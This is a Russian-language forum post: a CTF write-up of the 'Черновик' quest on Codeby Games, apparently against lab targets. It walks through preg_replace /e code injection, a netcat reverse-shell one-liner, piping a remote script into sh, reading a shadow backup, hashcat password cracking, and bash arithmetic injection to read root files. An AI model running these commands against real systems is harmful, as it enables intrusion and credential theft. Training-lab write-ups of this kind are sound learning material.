Writeup Черновик - CTF [WriteUp]

Kevgen

Green Team
04.08.2020
44
86

Всем привет!

Сегодня разберем квест "Черновик" с платформы Codeby Games.
В этом райтапе я постараюсь изложить решение таска наиболее подробно.


Итак, приступим!

Поиск точки входа

Заходим на первый IP, открываем код страницы, видим что есть спрятанная (hidden) область:

code page.png


Убираем hidden, появляется форма замены слова. Пробуем изменить "hacker" на "codeby"... Успешно. Идем смотреть скрипт, выполняющий замену:

page script.png


Видим, что после отправки наше замененное слово "hacker", обрамляется в "/hacker/". Возвращаемся назад, пробуем заменить "/hacker/" на "codeby". Как результат, видим ошибку функции preg_replace():

preg_replace error.png


Ищем в гугле эксплоиты preg_replace. Находим, что для выполнения кода нужно использовать обрамление "/hacker/e", что невозможно сделать через скрипт на сайте (получится "//hacker/e/").
Поэтому открываем postman, делаем POST запрос, где в теле 'x-www-form-urlencoded' проставляем следующие значения:
pattern = "/hacker/e",
replace = system('whoami') (сам исполняемый код),
paragraph = 1 (указываем с какого параграфа делать замену).
Если в ответе получили www-data, значит все ок.


Настройка Reverse Shell

Если у Вас белый IP, то пробрасывайте порт 4444 (с ним будем работать дальше). Иначе используйте .
Запускаем netcat на нашем устройстве nc -lvnp 4444 для прослушивания порта. Далее идем на , вводим свой ip, включаем и ищем подходящий revers shell.
Я остановился на rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f, где my-ip - Ваш белый IP.
Заливаем шелл командой: system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f'). Запускаем, возвращаемся в терминал с netcat'ом.
Проверяем соединение вводом команды: "whoami". Если ответ "www-data", то все ок.
Далее настроим наш терминал. Вводим команду python -c 'import pty; pty.spawn("/bin/bash")' и получаем интерактивную оболочку.


Ищем уязвимости

Плутать по серверу и искать уязвимости вручную - это долго и глупо. Для этого есть утилита LinPEAS. Просто вводим команду curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230731-452f0c44/linpeas.sh | sh. Посмотрим вывод. Привлекает внимание несколько backup файлов, среди которых /etc/shadow.backup. Оригинальный файл /etc/shadow содержит хэшированные пароли пользователей и недоступен для чтения/записи. Но у нас есть бэкап который открывается.
Откроем: cat /etc/shadow.backup. Видим хэш с солью нужного нам пользователя.


Брутим пароль

Смотрим формат строки в файле:
$6$xxxxxx$00000000000000000000:14715:0:99999:7:::

Первые 3 символа "$6$" указывают на кодировку хэша SHA-512.
Все, что между вторым и третьим символом доллара ($) - это соль.
Все, что дальше него до двоеточия ":" - это хэш.
Все, что дальше двоеточия включительно нам не нужно.


Раз есть хэш, то надо брутить! Создаем файл hash.txt и вводим туда наш хэш не оставляя пробелов до или после самого хэша.
Запускаем Брут командой hashcat -m 1800 -a 0 -o crack.txt --remove hash.txt /usr/share/wordlists/rockyou.txt, где 1800 - режим брута хэша (SHA-512 + salt), "-a 0" указывает на брутфорс по словарю, а crack.txt - выходной файл с паролем. Ждем.
Через несколько минут получаем пароль.

hashcat.jpg


Теперь подключаемся ко второму IP по ssh командой: ssh derek@62.173.140.174 -p 18722. Вводим пароль, полученный из хэша. Теперь мы можем прочесть нашу первую часть флага. Читаем: cat first_part.
Сохраняем первую часть в блокноте.

ssh.jpg



Повышаем привилегии

Первую часть флага мы получили, неплохо бы и вторую отыскать ;) . Для этого будем повышать наши права на сервере до root'а.

Выполнив sudo -l открываем для себя файл guessNum.sh, который мы можем запускать. Сразу же открываем его cat'ом и видим, что он проверяет введенное значение с
номером 1337
. На первый взгляд ничего интересного, но он уязвим, иначе он бы здесь не оказался (так еще и с правами выполнения :)), поэтому вбиваем в гугл следующее: "bash -eq exploits". Сразу видим, что мы не ошиблись: арифметика в bash'е в самом деле уязвимая. Путем перехода на первую же видим нужный нам пример повышения привилегий.

Запускаем наш guessNum.sh. Копируем пример с сайта, но вводим, понятное дело, не a[$(/bin/sh >&2)]+42, а [$(ls /root/ >&2)]+1337, для чтения директории root.
И мы видим наш последний файл!
Открываем его командой a[$(cat /root/last_part >&2)]+1337 и получаем последнюю часть флага!

Соединяем две части флага и сдаем.


Спасибо за прочтение!

Если есть пожелание или критика - пишите!

 

Вложения

  • preg_replace error.png
    preg_replace error.png
    1,6 КБ · Просмотры: 6
  • 1690880066591.png
    1690880066591.png
    66,8 КБ · Просмотры: 6
Вррайтапы на квесты запрещены же.
Здравствуйте! Если Вам не трудно, можете, пожалуйста, прислать сообщение где админы писали что запрещено, так как я такового не нашел.
Кроме того, на форуме есть и другой врайтап по квесту, его не банят.
Так что, если это запрещено админами - удаляю :)
 
Пост из группы в телеге.
 

Вложения

  • IMG_1301.jpeg
    IMG_1301.jpeg
    40,8 КБ · Просмотры: 7
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!